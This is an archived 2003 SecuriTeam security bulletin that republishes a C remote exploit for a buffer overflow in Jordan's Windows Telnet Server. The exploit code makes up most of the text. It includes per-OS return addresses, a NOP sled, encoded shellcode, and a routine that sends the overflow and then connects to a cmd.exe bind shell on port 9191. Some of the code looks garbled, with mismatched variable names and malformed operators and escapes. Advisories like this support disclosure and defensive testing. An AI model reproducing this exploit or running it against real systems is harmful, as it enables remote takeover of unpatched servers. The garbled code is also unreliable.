

# [EXPL] Jordan's Telnet Server Buffer Overflow Exploit

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0094.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 12/31/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 31 Dec 2003 18:44:30 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Jordan's Telnet Server Buffer Overflow Exploit

---

## SUMMARY

<<http://www.jordan.com/WindowsTelnetServer>> Windows Telnet Server (Wtsd) "is a small commercial telnet server written by Jordan Stojanovski". A buffer overflow vulnerability in the product allows remote attackers to cause the product to execute arbitrary code (as we reported in <<http://www.securiteam.com/windowsntfocus/6S00W0A95M.html>> Jordan's Telnet Server Buffer Overflow). The following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Vulnerable systems:

- \* Jordan's Windows Telnet Server version 1.0
- \* Jordan's Windows Telnet Server version 1.2

Exploit:

- ```
/*  
* Jordan's Windows Telnet server v.1.0 remote exploit  
* binds cmd.exe shell on port 9191  
*  
*/
```

## Securiteam: [EXPL] Jordan's Telnet Server Buffer Overflow Exploit

\* Home page: <http://www.jordan.com/WindowsTelnetServer>  
\* Advisory: <http://security.nnov.ru/search/document.asp?docid=5583>  
\*  
\* Tested on winxp only, but must work on other win32 systems.  
\*  
\* -d4rkgr3y [d4rk@securitylab.ru], m00.void.ru  
\*  
\*/

```
#include <string.h>
#include <unistd.h>
#include <netdb.h>
```

```
struct
{
    char *platform;
    long ret;
}
```

```
targets[]=
{
    {"Windows XP sp0", 0x77F5801C}, // ntdll.dll : jmp esp
    {"Windows XP sp1", 0x77fb59cc},
    {"Windows 2000 sp3", 0x77e2afc5},
    {"Windows NT sp6", 0x77f0eac3},
    {"Windows 98 SE", 0x7fdabfa9},
    {"Denial-of-Service attack", 0xdefaced},
};
```

```
char payload[] =
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90";
```

```
char w32pshellcode[] =
"\xEB\x03\x5D\xEB\x05\xE8\F8\xFF\xFF\xFF\x8B\xC5\x83\C0\x11\x33"
"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
```

## Securiteam: [EXPL] Jordan's Telnet Server Buffer Overflow Exploit

```
"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"  
"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"  
"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"  
"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"  
"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"  
"\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"  
"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"  
"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"  
"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"  
"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"  
"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"  
"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"  
"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"  
"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"  
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"  
"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"  
"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"  
"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"  
"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"  
"\xD3\x4A\x8C\x88";
```

```
void usage();
```

```
struct hostent *hp;
```

```
int main(int argc, char *argv[])
```

```
{  
    unsigned short port=23;  
    unsigned int sock,addr,hand;  
    char buf[1032], shit[666];
```

```
    printf("\n Jordan's Windows Telnet server v.1.0 remote exploit\n");  
    printf("\t\tby m00 Security // m00.void.ru\n\n");
```

```
    if(argc<3 || argc>4) usage(argv[0]);  
    if((atoi(argv[2]))>5) usage(argv[0]);  
    if(argv[3]) port = atoi(argv[3]);
```

```
    memset(buf,'\x41',1032);  
    memcpy(&buf[512], (unsigned char *) &targets[atoi(argv[2])].ret, 4);  
    memcpy(&buf[516], payload, sizeof(payload));  
    memcpy(&buf[548], w32pbshellcode, sizeof(w32pbshellcode));  
    memset(buf+strlen(w32pbshellcode)+548, '\x0d', 1);  
    memset(buf+strlen(w32pbshellcode)+548+1, '\x0a', 1);
```

```
    printf("~ Resolving hostname => ");  
    if((hp=gethostbyname(argv[1]))==NULL) {  
        printf("failed\n");  
        exit(1);  
    }  
    printf("done\n");
```

## Securiteam: [EXPL] Jordan's Telnet Server Buffer Overflow Exploit

```
printf("~ Conneting => ");
if((sock=connect_to_host(port))===-1) {
    printf("failed\n");
    exit(1);
}
printf("done\n");

printf("~ Sending exploit buffer => ");
sleep(2);
recv(sock,shit,666,0);
send(sock,buf,1032,0);
printf("done\n");
printf("~ Connecting to bindshell => ");
usleep(1000);
if((hand=connect_to_host(9191))===-1)
    printf("failed\n\n");
else {
    printf("done\n~ Shell spawned on port 9191 ^ have a nice day\n\n");
    get_shell(hand);
}

close(sock);
exit(0);
}

void usage(char *programe)
{
    int i;
    printf("Usage: %s <host> <os type> [port]\n\nWhere 'os type'
is:\n",programe);
    for(i=0;targets[i].platform;i++) {
        printf(" %i %s\n", i, targets[i].platform);
    }
    printf("\n");
    exit(0);
}

int connect_to_host(int port)
{
    int sockt;
    struct sockaddr_in saddr;

    if((sockt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))===-1)
        return -1;
    memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
    saddr.sin_family=AF_INET;
    saddr.sin_addr.s_addr=*((unsigned long *)hp->h_addr_list[0]);
    saddr.sin_port=htons(port);
    if(connect(sockt, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
        close(sockt);
        return -1;
    }
}
```

## Securiteam: [EXPL] Jordan's Telnet Server Buffer Overflow Exploit

```
} else
return sockt;
}

int get_shell(int bsh)
{
fd_set rfd;
int retVal,r;
char buf[0x31337];
do {
FD_ZERO(&rfd);
FD_SET(0, &rfd);
FD_SET(bsh, &rfd);
retVal=select(bsh+1, &rfd, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(bsh, &rfd)) {

buf[(r=recv(bsh, buf, 8095,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfd)) {
buf[(r=read(0, buf, 8095))]='\0';
send(bsh, buf, strlen(buf), 0);
}
}
} while(retVal && r);

close(bsh);
return 1;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:d4rk@securitylab.ru>>  
d4rkgr3y.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.